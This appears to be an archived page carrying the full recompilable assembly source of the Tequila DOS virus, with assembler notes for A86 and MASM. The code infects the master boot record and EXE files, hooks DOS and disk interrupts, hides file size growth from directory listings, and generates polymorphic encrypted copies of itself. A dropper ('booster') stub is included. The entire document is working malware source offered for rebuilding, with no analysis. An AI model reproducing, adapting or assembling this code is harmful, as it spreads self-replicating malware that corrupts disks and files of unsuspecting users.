home *** CD-ROM | disk | FTP | other *** search
- ;=============================
- ; the tequila virus =
- ; a recompilable =
- ; dis-assembly =
- ; specifically designed =
- ; for assembly to a COM file =
- ; with the A86 assembler. =
- ; ++++++++++++++++++ =
- ; If you desire a "perfect" =
- ; byte for byte source code =
- ;match-up, the MASM assembler=
- ; must be used and the noted =
- ;instructions must be changed=
- ; to comply with MASM syntax.=
- ; In addition, all byte and =
- ;word pointer references must=
- ; be changed from B and W to =
- ; BYTE POINTER and WORD =
- ; POINTER. =
- ;=============================
-
-
- CODE_SEG SEGMENT
- ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
- ORG 0100
- TEQUILA PROC NEAR
-
- JMP START
-
- DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
- DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
-
- DB 00DH, 00AH, 00DH, 00AH
- DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
- DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
- DB "Switzerland.", 00DH, 00AH
- DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
- DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
- DB "$"
-
- DB "Execute: mov ax, FE03 / int 21. Key to go on!"
-
-
- PROGRAM_TERMINATION_ROUTINE:
- PUSH BP
- MOV BP,SP
- SUB SP,0CH
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH ES
- PUSH DS
- PUSH CS
- POP DS
- MOV AX,W[6]
- INC AX
- JE 0243H ;Masm Mod. Needed
- DEC AX
- JNE 020DH ;Masm Mod. Needed
- DEC W[8] ;Masm Mod. Needed
- JNE 0243H ;Masm Mod. Needed
- JMP 0246H ;Masm Mod. Needed
- MOV AH,02AH
- CALL INT_21
- MOV SI,CX
- MOV CX,W[8]
- CMP CL,DL
- JNE 022FH ;Masm Mod. Needed
- MOV AX,SI
- SUB AX,W[6]
- MUL B[011H] ;Masm Mod. Needed
- ADD AL,DH
- ADD CH,3
- CMP AL,CH
- JAE 0237H ;Masm Mod. Needed
- MOV W[6],0FFFFH ;Masm Mod. Needed
- JMP 0243H ;Masm Mod. Needed
- MOV W[6],0 ;Masm Mod. Needed
- MOV W[8],3 ;Masm Mod. Needed
- JMP 02DF ;Masm Mod. Needed
- MOV BX,0B800H
- INT 011
- AND AX,030H
- CMP AX,030H
- JNE 0256H ;Masm Mod. Needed
- MOV BX,0B000H
- MOV ES,BX
- XOR BX,BX
- MOV DI,0FD8FH
- MOV SI,0FC18H
- MOV W[BP-2],SI
- MOV W[BP-4],DI
- MOV CX,01E
- MOV AX,W[BP-2]
- IMUL AX
- MOV W[BP-8],AX
- MOV W[BP-6],DX
- MOV AX,W[BP-4]
- IMUL AX
- MOV W[BP-0C],AX
- MOV W[BP-0A],DX
- ADD AX,W[BP-8]
- ADC DX,W[BP-6]
- CMP DX,0F
- JAE 02B0 ;Masm Mod. Needed
- MOV AX,W[BP-2]
- IMUL W[BP-4]
- IDIV W[0F] ;Masm Mod. Needed
- ADD AX,DI
- MOV W[BP-4],AX
- MOV AX,W[BP-8]
- MOV DX,W[BP-6]
- SUB AX,W[BP-0C]
- SBB DX,W[BP-0A]
- IDIV W[0D] ;Masm Mod. Needed
- ADD AX,SI
- MOV W[BP-2],AX
- LOOP 0269 ;Masm Mod. Needed
- INC CX
- SHR CL,1
- MOV CH,CL
- MOV CL,0DB
- ES MOV W[BX],CX ;Masm Mod. Needed
- INC BX
- INC BX
- ADD SI,012
- CMP SI,01B8
- JL 0260 ;Masm Mod. Needed
- ADD DI,034
- CMP DI,02A3
- JL 025D ;Masm Mod. Needed
- XOR DI,DI
- MOV SI,0BB
- MOV CX,02D
- CLD
- MOVSB
- INC DI
- LOOP 02D7 ;Masm Mod. Needed
- XOR AX,AX
- INT 016
- POP DS
- POP ES
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- MOV SP,BP
- POP BP
- RET
-
- PRINT_MESSAGE:
- PUSH DX
- PUSH DS
- PUSH CS
- POP DS
- MOV AH,9
- MOV DX,012
- CALL INT_21
- POP DS
- POP DX
- RET
-
- NEW_PARTITION_TABLE:
- CLI
- XOR BX,BX
- MOV DS,BX
- MOV SS,BX
- MOV SP,07C00
- STI
- XOR DI,DI
- SUB W[0413],3 ;Masm Mod. Needed
- INT 012
- MOV CL,6
- SHL AX,CL
- MOV ES,AX
- PUSH ES
- MOV AX,022A
- PUSH AX
- MOV AX,0205
- MOV CX,W[07C30]
- INC CX
- MOV DX,W[07C32]
- INT 013
- RETF
-
- DB 002, 0FE
- DB 04C, 0E9
- DB 080, 004
-
- PUSH CS
- POP DS
- XOR AX,AX
- MOV ES,AX
- MOV BX,07C00
- PUSH ES
- PUSH BX
- MOV AX,0201
- MOV CX,W[0226]
- MOV DX,W[0228]
- INT 013
- PUSH CS
- POP ES
- CLD
- MOV SI,0409
- MOV DI,09BE
- MOV CX,046
- REP MOVSB
- MOV SI,091B
- MOV DI,0A04
- MOV CX,045
- REP MOVSB
- CLI
- XOR AX,AX
- MOV ES,AX
- ES LES BX,[070] ;Masm Mod. Needed
- MOV W[09B0],BX ;Masm Mod. Needed
- MOV W[09B2],ES ;Masm Mod. Needed
- MOV ES,AX
- ES LES BX,[084] ;Masm Mod. Needed
- MOV W[09B4],BX ;Masm Mod. Needed
- MOV W[09B6],ES ;Masm Mod. Needed
- MOV ES,AX
- ES MOV W[070],044F ;Masm Mod. Needed
- ES MOV W[072],DS ;Masm Mod. Needed
- STI
- RETF
-
- INSTALL:
- CALL NEXT_LINE
- NEXT_LINE:
- POP SI
- SUB SI,028F
- PUSH SI
- PUSH AX
- PUSH ES
- PUSH CS
- POP DS
- MOV AX,ES
- ADD W[SI+2],AX
- ADD W[SI+4],AX
- DEC AX
- MOV ES,AX
- MOV AX,0FE02
- INT 021
- CMP AX,01FD
- JE NO_PARTITION_INFECTION
- ES CMP B[0],05A ;Masm Mod. Needed
- JNE NO_PARTITION_INFECTION
- ES CMP W[3],0BB ;Masm Mod. Needed
- JBE NO_PARTITION_INFECTION
- ES MOV AX,W[012] ;Masm Mod. Needed
- SUB AX,0BB
- MOV ES,AX
- XOR DI,DI
- MOV CX,09A4
- CLD
- REP MOVSB
- PUSH ES
- POP DS
- CALL INFECT_PARTITION_TABLE
- NO_PARTITION_INFECTION:
- POP ES
- POP AX
- PUSH ES
- POP DS
- POP SI
- CS MOV SS,W[SI+4] ;Masm Mod. Needed
- CHAIN_TO_THE_HOST_FILE:
- CS JMP D[SI] ;Masm Mod. Needed
-
- INFECT_PARTITION_TABLE:
- MOV AH,02A
- INT 021
- MOV W[6],CX ;Masm Mod. Needed
- MOV W[8],DX ;Masm Mod. Needed
- MOV AH,052
- INT 021
- ES MOV AX,W[BX-2] ;Masm Mod. Needed
- MOV W[03E8],AX ;Masm Mod. Needed
- MOV AX,03513
- INT 021
- MOV W[09A0],BX ;Masm Mod. Needed
- MOV W[09A2],ES ;Masm Mod. Needed
- MOV AX,03501
- INT 021
- MOV SI,BX
- MOV DI,ES
- MOV AX,02501
- MOV DX,03DA
- INT 021
- MOV B[0A],0 ;Masm Mod. Needed
- PUSHF
- POP AX
- OR AX,0100
- PUSH AX
- POPF
- MOV AX,0201
- MOV BX,09A4
- MOV CX,1
- MOV DX,080
- PUSH DS
- POP ES
- PUSHF
- CALL D[09A0] ;Masm Mod. Needed
- PUSHF
- POP AX
- AND AX,0FEFF
- PUSH AX
- POPF
- PUSHF
- MOV AX,02501
- MOV DX,SI
- MOV DS,DI
- INT 021
- POPF
- JAE 0450 ;Masm Mod. Needed
- JMP RET ;Masm Mod. Needed
- PUSH ES
- POP DS
- CMP W[BX+02E],0FE02
- JNE 045C ;Masm Mod. Needed
- JMP RET ;Masm Mod. Needed
- ADD BX,01BE
- MOV CX,4
- MOV AL,B[BX+4]
- CMP AL,4
- JE 0479 ;Masm Mod. Needed
- CMP AL,6
- JE 0479 ;Masm Mod. Needed
- CMP AL,1
- JE 0479 ;Masm Mod. Needed
- ADD BX,010
- LOOP 0463 ;Masm Mod. Needed
- JMP SHORT RET ;Masm Mod. Needed
- MOV DL,080
- MOV DH,B[BX+5]
- MOV W[0228],DX ;Masm Mod. Needed
- MOV AX,W[BX+6]
- MOV CX,AX
- MOV SI,6
- AND AX,03F
- CMP AX,SI
- JBE RET ;Masm Mod. Needed
- SUB CX,SI
- MOV DI,BX
- INC CX
- MOV W[0226],CX ;Masm Mod. Needed
- MOV AX,0301
- MOV BX,09A4
- PUSHF
- CALL D[09A0] ;Masm Mod. Needed
- JB RET ;Masm Mod. Needed
- DEC CX
- MOV W[DI+6],CX
- INC CX
- SUB W[DI+0C],SI
- SBB W[DI+0E],0
- MOV AX,0305
- MOV BX,0
- INC CX
- PUSHF
- CALL D[09A0] ;Masm Mod. Needed
- JB RET ;Masm Mod. Needed
- MOV SI,01F6
- MOV DI,09A4
- MOV CX,034
- CLD
- REP MOVSB
- MOV AX,0301
- MOV BX,09A4
- MOV CX,1
- XOR DH,DH
- PUSHF
- CALL D[09A0] ;Masm Mod. Needed
- RET
-
- NEW_INTERRUPT_ONE:
- PUSH BP
- MOV BP,SP
- CS CMP B[0A],1 ;Masm Mod. Needed
- JE 0506 ;Masm Mod. Needed
- CMP W[BP+4],09B4
- JA 050B ;Masm Mod. Needed
- PUSH AX
- PUSH ES
- LES AX,[BP+2]
- CS MOV W[09A0],AX ;Masm Mod. Needed
- CS MOV W[09A2],ES ;Masm Mod. Needed
- CS MOV B[0A],1
- POP ES
- POP AX
- AND W[BP+6],0FEFF
- POP BP
- IRET
-
- NEW_INTERRUPT_13:
- CMP CX,1
- JNE 054E ;Masm Mod. Needed
- CMP DX,080
- JNE 054E ;Masm Mod. Needed
- CMP AH,3
- JA 054E ;Masm Mod. Needed
- CMP AH,2
- JB 054E ;Masm Mod. Needed
- PUSH CX
- PUSH DX
- DEC AL
- JE 0537 ;Masm Mod. Needed
- PUSH AX
- PUSH BX
- ADD BX,0200
- INC CX
- PUSHF
- CS CALL D[09A0] ;Masm Mod. Needed
- POP BX
- POP AX
- MOV AL,1
- CS MOV CX,W[0226] ;Masm Mod. Needed
- CS MOV DX,W[0228] ;Masm Mod. Needed
- PUSHF
- CS CALL D[09A0] ;Masm Mod. Needed
- POP DX
- POP CX
- RETF 2
- CS JMP D[09A0] ;Masm Mod. Needed
-
- NEW_TIMER_TICK_INTERRUPT:
- PUSH AX
- PUSH BX
- PUSH ES
- PUSH DS
- XOR AX,AX
- MOV ES,AX
- PUSH CS
- POP DS
- ES LES BX,[084] ;Masm Mod. Needed
- MOV AX,ES
- CMP AX,0800
- JA 05B0 ;Masm Mod. Needed
- CMP AX,W[09B6]
- JNE 0575 ;Masm Mod. Needed
- CMP BX,W[09B4]
- JE 05B0 ;Masm Mod. Needed
- MOV W[09B4],BX ;Masm Mod. Needed
- MOV W[09B6],ES ;Masm Mod. Needed
- XOR AX,AX
- MOV DS,AX
- CS LES BX,[09B0] ;Masm Mod. Needed
- MOV W[070],BX ;Masm Mod. Needed
- MOV W[072],ES ;Masm Mod. Needed
- LES BX,[04C] ;Masm Mod. Needed
- CS MOV W[09A0],BX ;Masm Mod. Needed
- CS MOV W[09A2],ES ;Masm Mod. Needed
- MOV W[04C],09BE ;Masm Mod. Needed
- MOV W[04E],CS ;Masm Mod. Needed
- MOV W[084],04B1 ;Masm Mod. Needed
- MOV W[086],CS ;Masm Mod. Needed
- POP DS
- POP ES
- POP BX
- POP AX
- IRET
-
- INT_21_INTERCEPT:
- CMP AH,011
- JB CHECK_FOR_HANDLE
- CMP AH,012
- JA CHECK_FOR_HANDLE
- CALL ADJUST_FCB_MATCHES
- RETF 2
- CHECK_FOR_HANDLE:
- CMP AH,04E
- JB CHECK_FOR_PREVIOUS_INSTALLATION
- CMP AH,04F
- JA CHECK_FOR_PREVIOUS_INSTALLATION
- CALL ADJUST_HANDLE_MATCHES
- RETF 2
- CHECK_FOR_PREVIOUS_INSTALLATION:
- CMP AX,0FE02
- JNE CHECK_FOR_MESSAGE_PRINT
- NOT AX
- IRET
- CHECK_FOR_MESSAGE_PRINT:
- CMP AX,0FE03
- JNE CHECK_FOR_EXECUTE
- CS CMP W[6],0 ;Masm Mod. Needed
- JNE CHAIN_TO_TRUE_INT_21
- CALL PRINT_MESSAGE
- IRET
- CHECK_FOR_EXECUTE:
- CMP AX,04B00
- JE SET_STACK
- CMP AH,04C
- JNE CHAIN_TO_TRUE_INT_21
- SET_STACK:
- CS MOV W[09A6],SP ;Masm Mod. Needed
- CS MOV W[09A8],SS ;Masm Mod. Needed
- CLI
- PUSH CS
- POP SS
- MOV SP,0AE5
- STI
- CMP AH,04C
- JNE TO_AN_INFECTION
- CALL PROGRAM_TERMINATION_ROUTINE
- JMP SHORT NO_INFECTION
- TO_AN_INFECTION:
- CALL INFECT_THE_FILE
- NO_INFECTION:
- CLI
- CS MOV SS,W[09A8] ;Masm Mod. Needed
- CS MOV SP,W[09A6] ;Masm Mod. Needed
- STI
- JMP SHORT CHAIN_TO_TRUE_INT_21
- CHAIN_TO_TRUE_INT_21:
- CS INC W[09BC] ;Masm Mod. Needed
- CS JMP D[09B4] ;Masm Mod. Needed
-
- NEW_CRITICAL_ERROR_HANDLER:
- MOV AL,3
- IRET
-
- ADJUST_FCB_MATCHES:
- PUSH BX
- PUSH ES
- PUSH AX
- MOV AH,02F
- CALL INT_21
- POP AX
- PUSHF
- CS CALL D[09B4] ;Masm Mod. Needed
- PUSHF
- PUSH AX
- CMP AL,0FF
- JE 0664 ;Masm Mod. Needed
- ES CMP B[BX],0FF ;Masm Mod. Needed
- JNE 064F ;Masm Mod. Needed
- ADD BX,7
- ES MOV AL,B[BX+017] ;Masm Mod. Needed
- AND AL,01F
- CMP AL,01F
- JNE 0664 ;Masm Mod. Needed
- ES SUB W[BX+01D],09A4 ;Masm Mod. Needed
- ES SBB W[BX+01F],0 ;Masm Mod. Needed
- POP AX
- POPF
- POP ES
- POP BX
- RET
-
- ADJUST_HANDLE_MATCHES:
- PUSH BX
- PUSH ES
- PUSH AX
- MOV AH,02F
- CALL INT_21
- POP AX
- PUSHF
- CS CALL D[09B4] ;Masm Mod. Needed
- PUSHF
- PUSH AX
- JB 0691 ;Masm Mod. Needed
- ES MOV AL,B[BX+016] ;Masm Mod. Needed
- AND AL,01F
- CMP AL,01F
- JNE 0691 ;Masm Mod. Needed
- ES SUB W[BX+01A],09A4 ;Masm Mod. Needed
- ES SBB W[BX+01C],0 ;Masm Mod. Needed
- POP AX
- POPF
- POP ES
- POP BX
- RET
-
- WRITE_TO_THE_FILE:
- MOV AH,040
- JMP 069C ;Masm Mod. Needed
-
- READ_FROM_THE_FILE:
- MOV AH,03F
- CALL 06B4 ;Masm Mod. Needed
- JB RET ;Masm Mod. Needed
- SUB AX,CX
- RET
-
- MOVE_TO_END_OF_FILE:
- XOR CX,CX
- XOR DX,DX
- MOV AX,04202
- JMP 06B4 ;Masm Mod. Needed
-
- MOVE_TO_BEGINNING_OF_FILE:
- XOR CX,CX
- XOR DX,DX
- MOV AX,04200
- CS MOV BX,W[09A4] ;Masm Mod. Needed
-
- INT_21:
- CLI
- PUSHF
- CS CALL D[09B4] ;Masm Mod. Needed
- RET
-
- INFECT_THE_FILE:
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH ES
- PUSH DS
- CALL CHECK_LETTERS_IN_FILENAME
- JAE GOOD_NAME
- JMP BAD_NAME
-
- GOOD_NAME:
- PUSH DX
- PUSH DS
- PUSH CS
- POP DS
-
- SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
- MOV AX,03524
- CALL INT_21
- MOV W[09B8],BX ;Masm Mod. Needed
- MOV W[09BA],ES ;Masm Mod. Needed
- MOV AX,02524
- MOV DX,052A
- CALL INT_21
- POP DS
- POP DX
-
- SAVE_AND_REPLACE_FILE_ATTRIBUTE:
- MOV AX,04300
- CALL INT_21
- CS MOV W[09AA],CX ;Masm Mod. Needed
- JAE 06FE ;Masm Mod. Needed
- JMP RESTORE_CRIT_HANDLER
- MOV AX,04301
- XOR CX,CX
- CALL INT_21
- JB 077C ;Masm Mod. Needed
-
- OPEN_FILE_FOR_READ_WRITE:
- MOV AX,03D02
- CALL INT_21
- JB 0771 ;Masm Mod. Needed
- PUSH DX
- PUSH DS
- PUSH CS
- POP DS
- MOV W[09A4],AX ;Masm Mod. Needed
-
- GET_FILEDATE:
- MOV AX,05700
- CALL 06B4 ;Masm Mod. Needed
- JB 075C ;Masm Mod. Needed
- MOV W[09AC],DX ;Masm Mod. Needed
- MOV W[09AE],CX ;Masm Mod. Needed
-
- READ_AND_CHECK_EXE_HEADER:
- CALL 06AD ;Masm Mod. Needed
- MOV DX,0A49
- MOV CX,01C
- CALL 069A ;Masm Mod. Needed
- JB 075C ;Masm Mod. Needed
- PUSH DS
- POP ES
- MOV DI,0E8
- MOV CX,020
- CMP W[0A49],05A4D ;Masm Mod. Needed
- JNE 075C ;Masm Mod. Needed
- MOV AX,W[0A5B]
- CLD
- REPNE SCASW
- JNE 0754 ;Masm Mod. Needed
- OR W[09AE],01F ;Masm Mod. Needed
- JMP 075C ;Masm Mod. Needed
- CALL READ_PAST_END_OF_FILE
- JB 075C ;Masm Mod. Needed
- CALL ENCRYPT_AND_WRITE_TO_FILE
-
- RESTORE_ALTERED_DATE:
- MOV AX,05701
- MOV DX,W[09AC]
- MOV CX,W[09AE]
- CALL 06B4 ;Masm Mod. Needed
-
- CLOSE_THE_FILE:
- MOV AH,03E
- CALL 06B4 ;Masm Mod. Needed
-
- RESTORE_FILE_ATTRIBUTE:
- POP DS
- POP DX
- MOV AX,04301
- CS MOV CX,W[09AA] ;Masm Mod. Needed
- CALL INT_21
-
- RESTORE_CRIT_HANDLER:
- MOV AX,02524
- CS LDS DX,[09B8] ;Masm Mod. Needed
- CALL INT_21
-
- BAD_NAME:
- POP DS
- POP ES
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- RET
-
- CHECK_LETTERS_IN_FILENAME:
- PUSH DS
- POP ES
- MOV DI,DX
- MOV CX,-1
- XOR AL,AL
- CLD
- REPNE SCASB
- NOT CX
- MOV DI,DX
- MOV AX,04353
- MOV SI,CX
- SCASW
- JE 07B7 ;Masm Mod. Needed
- DEC DI
- LOOP 07A5 ;Masm Mod. Needed
- MOV CX,SI
- MOV DI,DX
- MOV AL,056
- REPNE SCASB
- JE 07B7 ;Masm Mod. Needed
- CLC
- RET
- STC
- RET
-
- READ_PAST_END_OF_FILE:
- MOV CX,-1
- MOV DX,-0A
- CALL 06A8 ;Masm Mod. Needed
- MOV DX,0A65
- MOV CX,8
- CALL 069A ;Masm Mod. Needed
- JB RET ;Masm Mod. Needed
- CMP W[0A65],0FDF0 ;Masm Mod. Needed
- JNE 07F0 ;Masm Mod. Needed
- CMP W[0A67],0AAC5 ;Masm Mod. Needed
- JNE 07F0 ;Masm Mod. Needed
- MOV CX,-1
- MOV DX,-9
- CALL 06A8 ;Masm Mod. Needed
- MOV DX,0A6B
- MOV CX,4
- CALL 0696 ;Masm Mod. Needed
- RET
- CLC
- RET
-
- ENCRYPT_AND_WRITE_TO_FILE:
- CALL MOVE_TO_END_OF_FILE
- MOV SI,AX
- MOV DI,DX
- MOV BX,0A49
- MOV AX,W[BX+4]
- MUL W[0D] ;Masm Mod. Needed
- SUB AX,SI
- SBB DX,DI
- JAE 080C ;Masm Mod. Needed
- JMP OUT_OF_ENCRYPT
- MOV AX,W[BX+8]
- MUL W[0B] ;Masm Mod. Needed
- SUB SI,AX
- SBB DI,DX
- MOV AX,W[BX+0E]
- MOV W[4],AX ;Masm Mod. Needed
- ADD W[4],010 ;Masm Mod. Needed
- MUL W[0B] ;Masm Mod. Needed
- ADD AX,W[BX+010]
- SUB AX,SI
- SBB DX,DI
- JB 083C ;Masm Mod. Needed
- SUB AX,080
- SBB DX,0
- JB RET ;Masm Mod. Needed
- ADD W[BX+0E],09B
- MOV AX,W[BX+016]
- ADD AX,010
- MOV W[2],AX ;Masm Mod. Needed
- MOV AX,W[BX+014]
- MOV W[0],AX ;Masm Mod. Needed
- CALL 06A4 ;Masm Mod. Needed
- ADD AX,09A4
- ADC DX,0
- DIV W[0D] ;Masm Mod. Needed
- INC AX
- MOV W[0A4D],AX ;Masm Mod. Needed
- MOV W[0A4B],DX ;Masm Mod. Needed
- MOV DX,DI
- MOV AX,SI
- DIV W[0B] ;Masm Mod. Needed
- MOV W[0A5F],AX ;Masm Mod. Needed
- MOV BX,DX
- ADD DX,0960
- MOV W[0A5D],DX ;Masm Mod. Needed
- CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
- JB RET ;Masm Mod. Needed
- OR W[09AE],01F ;Masm Mod. Needed
- MOV BX,W[09BC]
- AND BX,01F
- SHL BX,1
- MOV AX,W[BX+0E8]
- MOV W[0A5B],AX ;Masm Mod. Needed
- CALL MOVE_TO_BEGINNING_OF_FILE
- MOV CX,01C
- MOV DX,0A49
-
- WRITE_THE_NEW_HEADER:
- CALL 0696 ;Masm Mod. Needed
- OUT_OF_ENCRYPT:
- RET
-
- COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
- PUSH BP
- XOR AH,AH
- INT 01A
- MOV AX,DX
- MOV BP,DX
- PUSH DS
- POP ES
- MOV DI,0960
- MOV SI,DI
- MOV CX,020
- CLD
- REP STOSW
- XOR DX,DX
- MOV ES,DX
- CALL ENCRYPT_STEP_ONE
- CALL ENCRYPT_STEP_TWO
- CALL ENCRYPT_STEP_THREE
- MOV B[SI],0E9
- MOV DI,028C
- SUB DI,SI
- SUB DI,3
- INC SI
- MOV W[SI],DI
- MOV AX,0A04
- CALL AX
- POP BP
- RET
-
- ENCRYPT_STEP_ONE:
- DEC BP
- ES TEST B[BP],2 ;Masm Mod. Needed
- JNE 08EB ;Masm Mod. Needed
- MOV B[SI],0E
- INC SI
- CALL GARBLER
- MOV B[SI],01F
- INC SI
- CALL GARBLER
- RET
- MOV W[SI],0CB8C
- INC SI
- INC SI
- CALL GARBLER
- MOV W[SI],0DB8E
- INC SI
- INC SI
- CALL GARBLER
- RET
-
- ENCRYPT_STEP_TWO:
- AND CH,0FE
- DEC BP
- ES TEST B[BP],2 ;Masm Mod. Needed
- JE 0920 ;Masm Mod. Needed
- OR CH,1
- MOV B[SI],0BE
- INC SI
- MOV W[SI],BX
- INC SI
- INC SI
- CALL GARBLER
- ADD BX,0960
- TEST CH,1
- JE 0934 ;Masm Mod. Needed
- MOV B[SI],0BB
- INC SI
- MOV W[SI],BX
- INC SI
- INC SI
- CALL GARBLER
- ADD BX,0960
- TEST CH,1
- JE 090C ;Masm Mod. Needed
- SUB BX,0960
- CALL GARBLER
- MOV B[SI],0B9
- INC SI
- MOV AX,0960
- MOV W[SI],AX
- INC SI
- INC SI
- CALL GARBLER
- CALL GARBLER
- RET
-
- ENCRYPT_STEP_THREE:
- MOV AH,014
- MOV DH,017
- TEST CH,1
- JE 0958 ;Masm Mod. Needed
- XCHG DH,AH
- MOV DI,SI
- MOV AL,08A
- MOV W[SI],AX
- INC SI
- INC SI
- CALL GARBLER
- XOR DL,DL
- MOV B[0A39],028 ;Masm Mod. Needed
- DEC BP
- ES TEST B[BP],2 ;Masm Mod. Needed
- JE 0978 ;Masm Mod. Needed
- MOV DL,030
- MOV B[0A39],DL ;Masm Mod. Needed
- MOV W[SI],DX
- INC SI
- INC SI
- MOV W[SI],04346
- INC SI
- INC SI
- CALL GARBLER
- MOV AX,0FE81
- MOV CL,0BE
- TEST CH,1
- JE 0993 ;Masm Mod. Needed
- MOV AH,0FB
- MOV CL,0BB
- MOV W[SI],AX
- INC SI
- INC SI
- PUSH BX
- ADD BX,040
- MOV W[SI],BX
- INC SI
- INC SI
- POP BX
- MOV B[SI],072
- INC SI
- MOV DX,SI
- INC SI
- CALL GARBLER
- MOV B[SI],CL
- INC SI
- MOV W[SI],BX
- INC SI
- INC SI
- MOV AX,SI
- SUB AX,DX
- DEC AX
- MOV BX,DX
- MOV B[BX],AL
- CALL GARBLER
- CALL GARBLER
- MOV B[SI],0E2
- INC SI
- SUB DI,SI
- DEC DI
- MOV AX,DI
- MOV B[SI],AL
- INC SI
- CALL GARBLER
- RET
-
- GARBLER:
- DEC BP
- ES TEST B[BP],0F ;Masm Mod. Needed
- JE RET ;Masm Mod. Needed
- DEC BP
- ES MOV AL,B[BP] ;Masm Mod. Needed
- TEST AL,2
- JE 0A0E ;Masm Mod. Needed
- TEST AL,4
- JE 09F7 ;Masm Mod. Needed
- TEST AL,8
- JE 09F1 ;Masm Mod. Needed
- MOV W[SI],0C789
- INC SI
- INC SI
- JMP RET ;Masm Mod. Needed
- MOV B[SI],090
- INC SI
- JMP RET ;Masm Mod. Needed
- MOV AL,085
- DEC BP
- ES MOV AH,B[BP] ;Masm Mod. Needed
- TEST AH,2
- JE 0A05 ;Masm Mod. Needed
- DEC AL
- OR AH,0C0
- MOV W[SI],AX
- INC SI
- INC SI
- JMP RET ;Masm Mod. Needed
- DEC BP
- ES TEST B[BP],2 ;Masm Mod. Needed
- JE 0A1A ;Masm Mod. Needed
- MOV AL,039
- JMP 09F9 ;Masm Mod. Needed
- MOV B[SI],0FC
- INC SI
- RET
-
- MAKE_THE_DISK_WRITE:
- CALL PERFORM_ENCRYPTION_DECRYPTION
- MOV AH,040
- MOV BX,W[09A4]
- MOV DX,0
- MOV CX,09A4
- PUSHF
- CALL D[09B4] ;Masm Mod. Needed
- JB 0A37 ;Masm Mod. Needed
- SUB AX,CX
- PUSHF
- CMP B[0A39],028 ;Masm Mod. Needed
- JNE 0A44 ;Masm Mod. Needed
- MOV B[0A39],0 ;Masm Mod. Needed
- CALL PERFORM_ENCRYPTION_DECRYPTION
- POPF
- RET
-
- PERFORM_ENCRYPTION_DECRYPTION:
- MOV BX,0
- MOV SI,0960
- MOV CX,0960
- MOV DL,B[SI]
- XOR B[BX],DL
- INC SI
- INC BX
- CMP SI,09A0
- JB 0A61 ;Masm Mod. Needed
- MOV SI,0960
- LOOP 0A52 ;Masm Mod. Needed
- RET
-
- THE_FILE_DECRYPTING_ROUTINE:
- PUSH CS
- POP DS
- MOV BX,4
- MOV SI,0964
- MOV CX,0960
- MOV DL,B[SI]
- ADD B[BX],DL
- INC SI
- INC BX
- CMP SI,09A4
- JB 0A7E ;Masm Mod. Needed
- MOV SI,0964
- LOOP 0A6F ;Masm Mod. Needed
- JMP 0390 ;Masm Mod. Needed
-
- ;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
- ;========== BUT IS MERELY THE BOOSTER. ========
-
- START:
- LEA W[0104],EXIT ;Masm Mod. Needed
- MOV W[0106],CS ;Masm Mod. Needed
- MOV BX,CS
- SUB W[0106],BX ;Masm Mod. Needed
- JMP INSTALL
-
- EXIT:
- INT 020
-
- TEQUILA ENDP
- CODE_SEG ENDS
- END TEQUILA